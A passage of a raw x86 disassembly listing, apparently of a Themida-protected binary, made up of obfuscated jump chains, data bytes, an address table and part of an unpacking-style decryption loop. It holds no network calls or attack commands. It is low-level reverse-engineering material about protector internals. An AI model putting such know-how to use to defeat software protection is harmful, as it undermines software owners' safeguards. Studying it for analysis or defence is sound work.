248904ECh, 4BF5724h, 1000000h, 0E904247Ch dd 0FFFFAE55h, 2904C483h, 0CEF2E9C3h, 0D901FFFFh, 2C1815Bh dd 87000000h, 0E95C240Ch, 0FFFF4AA2h ; --------------------------------------------------------------------------- loc_55C638: ; CODE XREF: Themida_:005529AFj add ebx, eax push ecx mov ecx, 617F52E6h add ebx, ecx jmp loc_554CAC ; --------------------------------------------------------------------------- db 29h dd 0A0E95EF3h, 81FFFF4Fh, 4C5h, 0FCA2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C65A: ; CODE XREF: Themida_:00559731j sub ebx, eax jmp loc_5581F5 ; --------------------------------------------------------------------------- loc_55C661: ; CODE XREF: Themida_:00559E09j xor [esp], ecx xor ecx, [esp] pop esp pop eax push edi push ecx mov ecx, 59E46BEBh jmp loc_55C3BC ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 33242C31h, 535C242Ch, 0C381E389h, 4, 8704EB83h, 0E95C241Ch dd 0FFFF7AD9h, 2C1835Bh, 31240C33h, 0C33240Ch, 29665C24h dd 0E99C2404h, 0FFFF439Ah, 48F3E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C6B2: ; CODE XREF: Themida_:0055A1B7j xor eax, ebx jmp loc_559FAF ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 243C895Ch, 0BB53E789h, 57C72EE9h, 0FFDFB6E9h, 0C1F787FFh dd 814F07EFh, 4BABD9C7h, 0E9FA015Bh, 0FFFFF17Ch, 0BD242C89h dd 2, 656CC181h, 0E9296292h, 656CE981h, 2C8B6292h, 4EC8324h dd 0E9241C89h, 0FFFFADF3h, 0FFFBFCBBh, 5BD901FDh, 19A068h dd 0A7A8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C716: ; CODE XREF: Themida_:0055428Cj mov [esp], ecx jmp loc_5521D2 ; --------------------------------------------------------------------------- dw 5BAh dd 934BF09h, 81495AD1h, 0D8278DE9h, 0BE56417Bh, 571548C8h dd 815EF131h, 325A7EE9h, 59CE01ACh, 0B8EDE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C746: ; CODE XREF: Themida_:005547C6j push ebx mov edx, [esp] jmp loc_55C2AC ; --------------------------------------------------------------------------- db 5Ah dd 4268EA81h, 0F2016A67h, 0FFF27EE9h, 8E4C0FFh, 23E9C4FEh dd 54FFFF4Ch, 0E924048Fh, 0FFFFF57Ch, 0C8B60F66h, 0E9E08950h dd 188h, 240C8B66h, 0FF97F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C785: ; CODE XREF: Themida_:00558101j xchg ebp, esi shr esi, 7 sub esi, 0E85CE10Bh add eax, esi push dword ptr [esp] jmp loc_555AF5 ; --------------------------------------------------------------------------- dw 0B551h dd 0AAED80CBh, 0FFB446E9h, 50F381FFh, 0E95C9A60h, 0FFFF5D51h ; --------------------------------------------------------------------------- loc_55C7B0: ; CODE XREF: Themida_:00559F82j mov eax, [esp] add esp, 4 pop ecx add ecx, 4DC525C2h mov edx, ecx mov ecx, [esp] add esp, 4 mov edi, [esp] add esp, 4 jmp loc_5580E2 ; --------------------------------------------------------------------------- db 0Fh dd 9C51C8AFh, 0FF4269E9h, 89C281FFh, 2958387Dh, 84E955C2h dd 53FFFF5Ah, 0D02ACCBBh, 15CB810Eh, 432E8F13h, 8D4FE943h dd 0D129FFFFh, 0FFF823E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C805: ; CODE XREF: Themida_:0055A606j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 0FF68FEE9h, 5BDA29FFh, 29F4EE81h, 0D6017390h, 29F4C681h dd 148B7390h, 6088E924h, 0F301FFFFh, 0FF5643E9h, 48F5EFFh dd 486BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C83A: ; CODE XREF: Themida_:00557D7Dj add ebx, ebp pop ebp jmp loc_5577AD ; --------------------------------------------------------------------------- loc_55C842: ; CODE XREF: Themida_:00558B6Dj pop ebx add esp, 4 push 7B0Dh mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_556D11 ; --------------------------------------------------------------------------- loc_55C864: ; CODE XREF: Themida_:0055252Bj add edx, 4E7940FFh or edx, 45255EACh neg edx add edx, 0E3FC742Ah mov edi, edx pop edx and edi, 641D65BFh dec edi push ebx push edx mov edx, 1F067280h mov ebx, edx jmp loc_554B55 ; --------------------------------------------------------------------------- loc_55C890: ; CODE XREF: Themida_:00558540j pop eax pop ecx push ecx mov ch, 49h or dl, ch pop ecx push eax jmp loc_55C560 ; --------------------------------------------------------------------------- loc_55C89E: ; CODE XREF: Themida_:005584C9j add ebx, 4 xchg ebx, [esp] jmp loc_552189 ; --------------------------------------------------------------------------- db 1, 0CEh, 59h dd 0FFE216E9h, 0B4C581FFh, 0E9532E01h, 0FFFFC6ADh ; --------------------------------------------------------------------------- loc_55C8BC: ; CODE XREF: Themida_:00557127j add esp, 4 mov ecx, [esp] jmp loc_551204 ; --------------------------------------------------------------------------- dw 8B66h dd 54502404h, 556BE958h, 0FDB3FFFFh, 0E380D3F6h, 6EBC057h dd 0E1895151h, 4C181h, 0E9830000h, 240C8704h, 2404895Ch dd 0E3E9AFB4h, 28FFFF57h, 0E9762CD8h, 64Ah, 4133BE56h dd 0E6C12599h, 82CE8107h, 5348A733h, 19F4BE56h, 0E6D1793Fh dd 0C681DEF7h, 504D6A2Ch, 0FFF2C0E9h, 48B66FFh, 0E3895324h dd 0FF4F6CE9h, 66F1F6FFh db 0Fh, 0B6h, 0CCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55107A ; --------------------------------------------------------------------------- db 8Bh dd 0FCE92414h, 83FFFFC5h, 815304C4h, 4ECh, 44F8E900h, 3489FFFFh dd 0D7B85024h, 0BE046A6Bh, 46A6BD9h, 8158C629h, 903E5BEDh dd 0BD55E964h, 8B66FFFFh, 9E68240Ch, 0E9000078h, 0FFFFC14Fh ; --------------------------------------------------------------------------- loc_55C984: ; CODE XREF: Themida_:0055690Bj pop ebp and ebp, 74EF338Eh push eax mov eax, 298E040Bh xor eax, 7B0611B4h inc eax jmp loc_556FD5 ; --------------------------------------------------------------------------- dd 0C047F680h, 4CE902EEh, 89FFFF68h, 5A542414h, 909EE957h dd 0FE01FFFFh, 4C6835Fh, 5C243487h, 0FF6B56E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C9C1: ; CODE XREF: Themida_:005570B5j mov ebx, 24F75D55h jmp loc_555174 ; --------------------------------------------------------------------------- db 5 dd 1BE040E6h, 83243C8Bh, 43304C4h, 24043124h, 0E9240433h dd 0FFFFAAD6h, 5D0268h, 24348900h, 400BEh, 1C770900h, 0E924348Bh dd 0FFFF612Dh, 8758C501h, 9DE9242Ch db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA07: ; CODE XREF: Themida_:00554838j mov eax, [esp] jmp loc_559602 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 584DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA1A: ; CODE XREF: Themida_:00559950j push edx mov edx, 24487463h jmp loc_551244 ; --------------------------------------------------------------------------- db 0BDh, 1Ah, 20h dd 0BF5746DFh, 35F00716h, 0FF43B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CA35: ; CODE XREF: Themida_:00556C62j add esi, 4 xchg esi, [esp] pop esp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55CE5C ; --------------------------------------------------------------------------- loc_55CA51: ; CODE XREF: Themida_:005579B5j mov edi, esp add edi, 4 push ecx push eax mov eax, 12C7713Dh dec eax shr eax, 3 not eax jmp loc_55770B ; --------------------------------------------------------------------------- loc_55CA6B: ; CODE XREF: Themida_:0055966Cj push ebx push dword ptr [esp+4] jmp loc_552D07 ; --------------------------------------------------------------------------- db 5Fh, 29h, 0F1h dd 8124348Bh, 4C4h, 8BC83100h, 21E9240Ch, 83FFFFFCh, 9DE904C4h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA93: ; CODE XREF: Themida_:00550FA0j add [esp+4], edx sub dword ptr [esp+4], 563C6DCFh pop edx mov eax, [esp] jmp loc_552375 ; --------------------------------------------------------------------------- aBct db '│ГБ',0Ah db '╣',0 dw 564Fh dd 5BD55h, 0EE89FFECh, 5EF7015Dh, 3C8BF801h, 4C48324h dd 0FFD64AE9h, 243C87FFh, 0FF8D02E9h, 240C8BFFh, 575B5453h dd 9E95E956h, 0DF01FFFFh, 0FFC710E9h, 0F65866FFh, 0E738E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CAEE: ; CODE XREF: Themida_:00558D21j add ebp, 0EB80F484h mov edx, ebp mov ebp, [esp] add esp, 4 or edx, 66C43759h push edi push ebx jmp loc_55133C ; --------------------------------------------------------------------------- loc_55CB0C: ; CODE XREF: Themida_:005580EBj push esi mov esi, 4 add eax, esi pop esi push ecx push ebp mov ebp, 427D6FA0h jmp loc_55A12B ; --------------------------------------------------------------------------- db 1, 0F8h, 5Fh dd 0FFE9D029h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB2B: ; CODE XREF: Themida_:00552E25j push 22B33A4Eh pop ebx jmp loc_55B0C8 ; --------------------------------------------------------------------------- loc_55CB36: ; CODE XREF: Themida_:0055137Ej mov [esp], esi push ebx push 414B076Fh jmp loc_5587AF ; --------------------------------------------------------------------------- dd 0A6E9EE89h, 66FFFF98h, 0E924048Bh, 0FFFFD7B9h, 0B35366ACh dd 0E9D828EBh, 0FFFF3F7Fh, 240C8B66h, 0FF63EFE9h, 4C483FFh dd 89C78957h, 0C544E9FBh, 335BFFFFh, 2C31242Ch, 242C3324h dd 0F624248Bh, 0B60F66E9h, 0E18951CCh, 4C181h, 0EC810000h dd 4, 0FFFB43E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB9D: ; CODE XREF: Themida_:0055796Cj pop ebx add ebp, edx pop edx and eax, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_55400C ; --------------------------------------------------------------------------- dw 0DAF7h dd 7592EA81h, 40E9A5A9h, 0B9FFFF73h, 624162A5h, 5859CF29h dd 630BC781h, 0FD013EF7h, 1EE9515Fh, 5AFFFFA1h, 7505F829h dd 5F5CEC5Fh, 0B951E829h, 6820380h, 0FF4785E9h, 0BDE950FFh dd 68FFFF57h, 5400h, 83241489h, 97E904ECh, 80FFFFADh, 0ED80D1F5h dd 4E5C007h, 0C075B753h, 0CFFE02E7h, 0E919CF80h, 0FFFF8489h dd 2BEh, 5EF00100h, 5C240487h, 0C8BE0F66h, 75B4E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC2E: ; CODE XREF: Themida_:0055A325j mov edx, 38C35FEDh add edx, 0C82060h jmp loc_558B72 ; --------------------------------------------------------------------------- dw 0DFF7h dd 0FF9E92E9h, 4BD55FFh, 1000000h, 242C8BE8h, 4C481h, 4050000h dd 33000000h, 4312404h, 24043324h, 0FFA845E9h, 66F9F6FFh dd 66CCB60Fh, 6604E168h, 66240C89h, 66C8B60Fh, 1FE99C51h dd 89FFFFF5h, 4BB241Ch, 0E9000000h, 0FFFF88A0h, 0E904EC83h dd 0FFFF9746h, 5204C483h, 756452BAh, 0EAC14A24h, 9B62E905h dd 0BBB7FFFFh, 0D7F6D7F6h, 0C780D7F6h, 7CE4E9A5h, 0C781FFFFh dd 4, 4C781h, 40E90000h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CCCB: ; CODE XREF: Themida_:00553B4Cj xor edx, 0CE15F3Dh xor edx, 78013835h mov ebx, edx pop edx jmp loc_55A8D0 ; --------------------------------------------------------------------------- loc_55CCDF: ; CODE XREF: Themida_:00559A5Ej push 7512h jmp loc_55BB05 ; --------------------------------------------------------------------------- db 0B9h, 2, 0 dd 0CA010000h, 0FF9F4FE9h, 2C8759FFh, 4895C24h, 677B824h dd 9AE94309h, 89FFFF95h, 0ECB951E5h, 0F709E878h, 0F1C181D1h dd 109E878h, 0B0DBE9CDh, 405FFFFh, 83000000h, 0FF5002E8h dd 8B042474h, 0C4832404h, 24048F04h, 0FF6DD3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CD39: ; CODE XREF: Themida_:00550ED7j add ebp, ecx pop ecx mov ebx, ebp pop ebp jmp loc_559C8D ; --------------------------------------------------------------------------- dd 0B9h, 59CD8900h, 8904EC83h, 1C8B242Ch, 4C48124h, 5D000000h dd 0FF663CE9h, 0FFCE30FFh, 81592434h, 4C4h, 0E9F03000h dd 0FFFF8922h, 1EBA524Dh, 316C300Fh, 24148BD5h, 0FF3F5FE9h dd 240401FFh, 1E9B6850h, 29583904h, 8B042444h, 0C4832404h dd 3CA8E904h, 0C781FFFFh, 4EEE1766h, 0E61BE959h, 0EE80FFFFh dd 3CA6E908h, 2C5CFFFFh, 4D82884h, 0E6B75384h, 0B050D7F6h dd 8333E987h, 12B2FFFFh, 0E95AD328h, 0FFFF9903h, 6FE9028Fh db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CDD7: ; CODE XREF: Themida_:0055991Ej xor ebp, 5DA67C9Bh jmp loc_558D0E ; --------------------------------------------------------------------------- dw 148Bh dd 0E2895224h, 4C281h, 0B5E90000h, 81FFFFF6h, 0C92C1FC6h dd 81D60118h, 0C92C1FEEh, 0D66FE918h, 489FFFFh, 0E3A9E924h dd 77FFFFFFh, 0F060E92Ch, 895FFFFFh, 34FF59CDh, 59E95A24h dd 59FFFF7Eh, 575DEB01h, 2BFh, 0D6CAE900h, 8F59FFFFh, 855C2404h dd 7E99CC8h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE3F: ; CODE XREF: Themida_:00553EF6j ; Themida_:00554CB4j push ecx push esp jmp loc_555ABB ; --------------------------------------------------------------------------- loc_55CE46: ; CODE XREF: Themida_:0055A0AFj xor eax, ebp jmp loc_5567EA ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D359669Dh, 0E99C241Ch, 0FFFF3BEAh ; --------------------------------------------------------------------------- loc_55CE5C: ; CODE XREF: Themida_:0055CA4Cj add esp, 4 jmp loc_55A724 ; --------------------------------------------------------------------------- db 0FFh dd 3BD8E930h, 0DAF7FFFFh, 8104EAC1h, 0CFC833C2h, 8BD001FFh dd 89532414h, 4C381E3h, 0E9000000h, 0FFFFB228h, 2B951h dd 0CE010000h, 0FFC8E2E9h, 48B66FFh, 2AFD6824h, 14890000h dd 6C40E924h, 483FFFFh, 525F0424h, 4BAh, 56E5E900h, 2C8BFFFFh dd 0E0895024h, 0FF6DAEE9h, 2424D3FFh, 3B78E99Ch, 3E05FFFFh dd 0E9142025h, 0FFFFDEA8h, 0E924048Bh, 0FFFFA519h ; --------------------------------------------------------------------------- loc_55CEE0: ; CODE XREF: Themida_:0055BB0Fj pop esi jmp loc_55C051 ; --------------------------------------------------------------------------- aRshM db 'RSh╤m',0 dd 243C8900h, 356BA5BFh, 10F78100h, 894A6D75h, 0DBF75FFBh dd 1EB9C381h, 0DA894A58h, 8BD5015Bh, 0C4832414h, 18E95104h dd 66FFFFA5h, 0A7E9DFF7h, 66FFFF9Fh, 5124048Bh, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 0E95C243Ch, 0FFFFDEAFh, 0C6E95358h dd 50FFFFD0h, 741DDB8h, 9CEAE96Eh, 34FFFFFFh, 986DE924h dd 0D889FFFFh, 0FF7AE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CF5D: ; CODE XREF: Themida_:00558211j push edx push 5B7B58E1h mov edx, [esp] jmp loc_559213 ; --------------------------------------------------------------------------- db 5Dh dd 0FFCDA8E9h, 9FB252FFh, 0E95AD300h, 0FFFFCAFCh, 240C8B5Ah dd 4C481h, 0CB800000h, 80C3FEB1h, 0D3F627E3h, 52BECB80h dd 0EA806AB2h, 44C280B0h, 0C280EAD0h, 0BED0E919h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CFA6: ; CODE XREF: Themida_:00558DD2j sub ecx, ebx pop ebx push edi mov edi, 1793530Ch and edi, 5EAE3578h inc edi jmp loc_55B8D9 ; --------------------------------------------------------------------------- db 5Ah dd 15FF831h, 0D5A2E9C7h, 304FFFFh, 8B7FFEh, 69DD0000h dd 59CB00A1h, 66030000h, 59CB005Bh, 8BDF005Bh, 217FA40h dd 20000h, 10000h, 20000h, 8BDF0000h, 0FA40h, 4 dup(0) dd 0D5BB0000h, 4B970056h, 8FB90056h, 40A90056h, 1EDC0056h dd 0D5CC0056h, 26B0055h, 0C7A20056h, 4A1A0056h, 6A1B0056h dd 0A7A20056h, 9C90056h, 9CC30057h, 55E30056h, 70040056h dd 1870056h, 0E9B70056h, 0FB3F0055h, 17910055h, 0F3A30056h dd 6D930056h, 95F30056h, 242E0056h, 0EA810056h, 0F1F40056h dd 5FEF0055h, 2ECF0056h, 7E590056h, 16000056h, 0DB970057h dd 0EDF90055h, 718A0055h, 68550056h, 7C5A0056h, 0AF20056h dd 0F3180057h, 0BC3D0056h, 0D5550056h, 0E8A60055h, 0E100055h dd 251D0057h, 0ED930056h, 0F8690056h, 0C80F0056h, 4FA30056h dd 74840056h, 0B0110056h, 0E2120056h, 4CD50056h, 0DFB20056h dd 0C0E40056h, 5E580056h, 0C1B00056h, 184D0056h, 0A0300057h dd 0C9300056h, 256F0056h, 7A680056h, 29F50056h, 8680057h dd 6FF80056h, 3F8D0056h, 3C7A0056h, 8FA30056h, 0F7650056h dd 19F80055h, 0D59B0056h, 8590055h, 141E0056h, 2F880057h dd 3C600056h, 5E50056h, 13470057h, 0CBB30056h, 2E4F0056h dd 0D1A50056h, 16D90056h, 9AC80056h, 6E320056h, 1EFA0056h dd 0C080057h, 0B1780057h, 452D0056h, 5AAD0056h, 0D1360056h dd 0C10056h, 35E50057h, 19070056h, 412B0056h, 0B1DB0056h dd 0BF2D0056h, 6AB20056h, 93A50056h, 735A0056h, 24280056h dd 0FE6C0057h, 0A2540056h, 325E0056h, 68DE0056h, 0EDF20056h dd 208B0056h, 86F90056h, 23210056h, 0F0E20056h, 790E0056h dd 0C53A0056h, 0AB590056h, 62F00056h, 6FDE0056h, 18C20056h dd 0FB190057h, 126B0056h, 7ED80056h, 10C0056h, 77B90057h dd 70D20056h, 6F520056h, 453E0056h, 1DF20056h, 67220057h dd 0B94B0056h, 5B20056h, 15A90056h, 9DA20056h, 0AC7D0056h dd 83C0056h, 62E20057h, 14F50056h, 61A10057h, 8ED50056h dd 0F6A70056h, 0F63A0055h, 0FA630056h, 135A0055h, 9D9B0056h dd 55D40056h, 0E7FB0056h, 72F70055h, 5800056h, 14C0056h dd 0EF9F0057h, 48250055h, 3E410056h, 2F210056h, 0E2E30056h dd 0ECB20055h, 0D9F70056h, 14A70055h, 0F2870056h, 45600056h dd 170A0056h, 0A12E0056h, 1BFF0056h, 78D70056h, 50E00056h dd 0E8010056h, 51020055h, 0D8430056h, 63250056h, 0A3590056h dd 7D90056h, 0E3F60057h, 8F1B0056h, 0E72E0056h, 67760055h dd 3AD20056h, 56150056h db 56h, 0 ; --------------------------------------------------------------------------- loc_55D2A6: ; CODE XREF: Themida_:005A52DDj ; Themida_:005ACF1Bj ... pusha pushf cld call $+5 pop edi sub edi, 61546CFh mov eax, edi add edi, 61543E7h cmp eax, [edi+2Ch] jnz short loc_55D2C4 jmp short loc_55D2D7 ; --------------------------------------------------------------------------- loc_55D2C4: ; CODE XREF: Themida_:0055D2C0j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55D2D3 ; --------------------------------------------------------------------------- loc_55D2CE: ; CODE XREF: Themida_:0055D2D5j add [edi+ecx*4+40h], eax dec ecx loc_55D2D3: ; CODE XREF: Themida_:0055D2CCj or ecx, ecx jnz short loc_55D2CE loc_55D2D7: ; CODE XREF: Themida_:0055D2C2j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55D2E4: ; CODE XREF: Themida_:0055D2EBj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55D2E4 loc_55D2ED: ; CODE XREF: Themida_:0055D8CEj ; Themida_:0055DF51j ... lodsb add al, 6Ch push ecx mov ch, 92h push edi mov edi, esp jmp loc_55F46F ; --------------------------------------------------------------------------- loc_55D2FB: ; CODE XREF: Themida_:00562A05j mov edi, 25AB21DBh mov ebx, edi mov edi, [esp] jmp loc_55EAE0 ; --------------------------------------------------------------------------- loc_55D30A: ; CODE XREF: Themida_:005727FEj push edi mov edi, 448742C3h and eax, edi jmp loc_570EB7 ; --------------------------------------------------------------------------- loc_55D317: ; CODE XREF: Themida_:00564FFEj mov ah, bh jmp loc_564035 ; --------------------------------------------------------------------------- loc_55D31E: ; CODE XREF: Themida_:0056E1A3j add esi, 2 xchg esi, [esp] jmp loc_56BF00 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9241489h, 1BFDh ; --------------------------------------------------------------------------- loc_55D334: ; CODE XREF: Themida_:0055E75Aj xor ecx, [esp] pop esp or eax, eax jz loc_563C3B push dword ptr [edi+1Ch] push esi mov esi, 18B74D08h jmp loc_569675 ; --------------------------------------------------------------------------- dw 1C89h aIPsb db '$┬оPИb>',0 dd 4C28300h, 0E9241487h, 2EC0h ; --------------------------------------------------------------------------- loc_55D364: ; CODE XREF: Themida_:0056C1A4j push ebp mov ebp, esp push edx mov edx, 5A7239E0h jmp loc_5724F0 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 240C8B5Ah, 4C481h, 0D8000000h, 81241C8Bh, 4C4h, 50526600h dd 53506DB4h, 728868h, 8435E900h, 48F0000h, 24248B24h dd 34FFD000h, 24148B24h, 20A4E9h db 0 ; --------------------------------------------------------------------------- loc_55D3B1: ; CODE XREF: Themida_:00565481j add esp, 4 push esi mov esi, 7EE00BCBh push ecx mov ecx, 195E7CDBh xor esi, ecx pop ecx push edi mov edi, 47A42295h jmp loc_56A33A ; --------------------------------------------------------------------------- loc_55D3D1: ; CODE XREF: Themida_:0056DFADj add bl, cl sub bl, 0E0h sub bl, 7Ch mov ecx, [esp] jmp loc_55E063 ; --------------------------------------------------------------------------- db 55h, 0BDh, 29h dd 0BE527275h, 0E62DD5BDh, 0ACE9EE01h, 5000090h, 4B4D44E3h dd 0E958C289h, 496Ch, 5C243487h, 8B242C87h, 4092424h, 0DAE99C24h dd 0E9FFFFFEh, 0FFFFFED5h, 8904EC83h, 0C3B42404h, 10E9DCF6h dd 8100003Fh, 9D1F83CDh, 0AFED8138h, 139FD9Fh, 68525DE9h dd 56B271CAh, 150FCE9h, 0F5805B00h, 59E828FEh, 0C8284B04h dd 9A044B2Ch, 0E3895359h, 7406E9h, 24348B00h, 6B8EE9h dd 0B2C78100h, 1638A7Eh, 0B2EF81DFh, 81638A7Eh, 200174C7h dd 0EF815B0Ch, 4, 8B243C87h, 1C892424h, 9BA4BB24h, 54514B00h dd 4C18159h, 81000000h, 4E9h, 240C3300h, 33240C31h, 895C240Ch dd 7682434h, 0E9000052h, 90FDh, 0E6C1E6D1h, 0A7CE8107h dd 810ACB65h, 0F1E853F6h, 5EF5297Ch, 3397B951h, 0C1814B69h dd 13E83531h, 0E959CD29h, 0DECAh, 6804C483h, 2939h, 50243C89h dd 806AA4B8h, 1C7F256Ah, 0BB5316ACh, 0B5EC9547h, 2DE9D829h dd 8B000031h, 0C483241Ch, 74FF5004h, 8F580424h, 248B2404h dd 48B6624h, 0DB52E924h, 14890000h, 317A6824h, 4890000h dd 7EB65224h, 12BCCE9h, 0C7BD5500h, 0E96F027Eh, 0C7E4h ; --------------------------------------------------------------------------- loc_55D534: ; CODE XREF: Themida_:0056692Aj xor [esp+4], esi push dword ptr [esp] mov esi, [esp] jmp loc_56505C ; --------------------------------------------------------------------------- db 1 dd 32B3E9CAh, 0BA520001h, 34742E44h, 14232E9h, 240C8B00h dd 0E9E68956h, 0DE71h ; --------------------------------------------------------------------------- loc_55D560: ; CODE XREF: Themida_:005729D7j xchg esi, [esp] jmp loc_55DBC4 ; --------------------------------------------------------------------------- dd 4C55C581h, 0ED816955h, 5DDD3615h, 49A9E95Eh, 815F0001h dd 2F6AFDEFh, 0E9DF013Eh, 2FDBh ; --------------------------------------------------------------------------- loc_55D588: ; CODE XREF: Themida_:005723A8j add edx, 75BC4F2Bh add edx, ebp sub edx, 75BC4F2Bh jmp loc_56E1FD ; --------------------------------------------------------------------------- db 0ADh dd 207F83h, 8C71840Fh, 0C6810000h, 24887364h, 7C6BBB53h dd 9CE900DCh, 5200008Bh, 0B2114BAh, 0F7E0E948h, 48B0000h dd 0E9545524h, 0EB51h, 0E956AD66h, 92CEh ; --------------------------------------------------------------------------- loc_55D5D4: ; CODE XREF: Themida_:0055E62Aj sub ecx, esi mov esi, [esp] jmp loc_5687FE ; --------------------------------------------------------------------------- dw 0CF29h dd 5E7C159h, 4EC81h, 0C9E90000h, 5C0000F2h, 9F1E9h db 0 ; --------------------------------------------------------------------------- loc_55D5F5: ; CODE XREF: Themida_:005674ADj mov [esp], edi jmp loc_56BF35 ; --------------------------------------------------------------------------- loc_55D5FD: ; CODE XREF: Themida_:005629C5j xor [esp], ebp xor ebp, [esp] pop esp push edi mov edi, 2 add eax, edi jmp loc_55F3C2 ; --------------------------------------------------------------------------- loc_55D611: ; CODE XREF: Themida_:0056167Aj mov edi, 4B603F63h add edi, 3A404E49h jmp loc_56E8A4 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h aLSj db '▀$$Иj|',0 align 4 dd 2420C381h, 0FB01DFF7h, 1187E952h, 4B90001h, 2D000000h dd 44115E7Fh, 7F05C801h, 8B44115Eh, 0C483240Ch, 4EC8104h dd 89000000h, 0BE56241Ch, 282C7200h, 24048156h, 252947B3h dd 0B3EB815Bh, 5E252947h, 4EC81h, 0C890000h, 47E6B924h dd 0C1817D13h, 0AB192A1Ch, 5259CB31h, 0E82A00BAh, 8BD02958h dd 0C4832414h, 0C06E904h, 3C890001h, 2474FF24h, 243C8B04h dd 4C481h, 48F0000h, 14895C24h, 99BF5724h, 571F4866h, 0EA815F5Ah dd 0E60DD72Fh, 34FFD031h, 0E9525A24h, 0B53Bh ; --------------------------------------------------------------------------- loc_55D6CC: ; CODE XREF: Themida_:00560547j pop esp jmp loc_569915 ; --------------------------------------------------------------------------- dw 0D3F7h dd 32CFEB81h, 0C3815F8Ah, 0E2AD219h, 815BD989h, 8F1CBCE1h dd 3E1C174h, 70A0C181h, 57E97E33h, 810000E1h, 0C01282E6h dd 0F5EE8113h, 0C126E930h, 0EAE906E6h, 0BA00004Fh, 68AC4E35h dd 55BB5352h, 1071A13h, 5B04245Ch, 55EF815Fh, 5A071A13h dd 0E95FFA89h, 0ED79h, 4BB53h, 0DE010000h, 0B2B8505Bh dd 0C17AAF11h, 0FE907E0h, 53000005h, 0C85888BBh, 5BDD010Eh dd 2B8505Fh, 1000000h, 0FF5558C5h, 0E9042474h, 94B7h, 0BFE9DDF7h dd 81000075h, 0C30CC7C5h, 0D259E973h, 0DE290000h, 0DBF575Bh dd 8103B56Eh, 9732F6CFh, 4E7C130h, 26E9E781h, 0C7811421h dd 226BE3E1h, 15FFE01h, 0C1EE81C6h, 81328D0Ah, 552E03C6h dd 4EC817Fh, 0E9000000h, 63A0h ; --------------------------------------------------------------------------- loc_55D7AC: ; CODE XREF: Themida_:0056F313j add ebp, edi pop edi jmp loc_562903 ; --------------------------------------------------------------------------- dd 4C181h, 0C870000h, 24248B24h, 0E92434FFh, 0C37Eh, 5306E5C0h dd 19B7E9h, 0CF815800h, 7D10175Dh, 274EC781h, 0E781374Dh dd 0AFC7B44h, 8106E7C1h, 10C104F7h, 5FFB0112h, 0B8E956h dd 0B6520001h, 80D6F629h, 0E6C0C0C6h, 9D94E903h, 68B90000h dd 0E9A555C3h, 7DF7h, 2D0358B9h, 59CA0967h, 6C28C281h dd 0C5811042h, 75975D85h, 0ED81D501h, 75975D85h, 6853565Ah dd 69AA1F91h, 0EB81435Bh, 686AC31h, 30E9DE89h, 6600004Ah dd 0E9243489h, 25A3h ; --------------------------------------------------------------------------- loc_55D84C: ; CODE XREF: Themida_:00565EFBj mov ebx, 0 jmp loc_56F1D7 ; --------------------------------------------------------------------------- dw 0BE56h dd 260C7109h, 0A18E681h, 1EE961DAh, 87000050h, 6AE92414h db 0F9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D86F: ; CODE XREF: Themida_:00563F3Fj sub edi, 50A57C5Ch jmp loc_565257 ; --------------------------------------------------------------------------- dw 0EE81h dd 4, 3084E9h, 81E58900h, 4C5h, 4ED8300h, 0E9242C87h, 7AF6h ; --------------------------------------------------------------------------- loc_55D898: ; CODE XREF: Themida_:0056987Dj or edx, eax jmp loc_568E5A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5EF8100h, 158C978h, 5C781F7h, 8B58C978h, 89532434h dd 47E950E3h db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D8BF: ; CODE XREF: Themida_:0056F81Fj sub esi, 30744B47h jmp loc_56CD24 ; --------------------------------------------------------------------------- loc_55D8CA: ; CODE XREF: Themida_:0056E782j add [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55D8D3: ; CODE XREF: Themida_:00568696j pop ebx jmp loc_56D46F ; --------------------------------------------------------------------------- db 81h, 0C2h, 2 dd 87000000h, 0E95C2414h, 0B49Eh ; --------------------------------------------------------------------------- loc_55D8E8: ; CODE XREF: Themida_:00571DD6j add esp, 4 or edx, eax shl edx, 1 jmp loc_56C89E ; --------------------------------------------------------------------------- dd 33243431h, 8B5C2434h, 